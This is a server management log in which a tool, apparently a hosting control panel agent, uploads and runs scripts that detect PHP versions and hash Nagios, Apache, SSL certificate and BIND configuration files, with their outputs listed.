	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-05-07 10:51:49: 

chmod 755 /tmp/pkp201743; /tmp/pkp201743; rm /tmp/pkp201743

2026-05-07 10:51:50: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.20


2026-05-07 10:51:50: 

PUT: /tmp/pkp827333

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-05-07 10:51:50: 

chmod 755 /tmp/pkp827333; /tmp/pkp827333; rm /tmp/pkp827333

2026-05-07 10:51:50: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-05-07 10:51:50: 

PUT: /tmp/pkp533019

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-05-07 10:51:50: 

chmod 755 /tmp/pkp533019; /tmp/pkp533019; rm /tmp/pkp533019

2026-05-07 10:51:50: 


status=ok


2026-05-07 10:51:50: 

PUT: /tmp/pkp419011

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 10:51:50: 

chmod 755 /tmp/pkp419011; /tmp/pkp419011; rm /tmp/pkp419011

2026-05-07 10:51:50: 
(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= fe07422cbe758b217492221923475dac
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 21c624d3bcdb6c3f01d2bfda1de6cd52
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= f132ef23cb62d0e80d0586e7546221c3
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= e057cdf9b93fc05ab6471641fcde0180
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= b87b368bb103ed46308719affdfcf030
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= 707304c25cc6327dd1c41ca6c42e7c87
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= f95a1e1b2c8674702c8e881dbd6f6102
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= 51295f38861ad48c28fe92aee2eb7e50
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 5d28fd2cef2be3cf899395f8c461b70e
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 3be906ce6e2bcb7301d484487eea1048
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= a9c7e854d597a5527f781108f2360e6e
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e705b34f5803f818080dcae1514b9cd2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 9d3953ec22db1f162225b0cad02797d8
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 6b8c65fa02be730c3aa1ad3e520d0471
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 6dc688f3b25a35b33c976d2e664a0540
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= 3381c51642e6113f4c92943c238ff353
MD5(/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt)= 82a777c7fc2c96cfe7a2a35d686eade4
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= ee97524ee7f30c0bf2722b085af7e853
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp419011:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-05-07 10:52:24: Establishing a connection
2026-05-07 14:24:42: Establishing a connection
2026-05-07 14:24:47: Establishing a connection
2026-05-07 14:24:47: 

PUT: /tmp/pkp745228

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 14:24:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp745228; rm /tmp/pkp745228'

2026-05-07 14:24:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
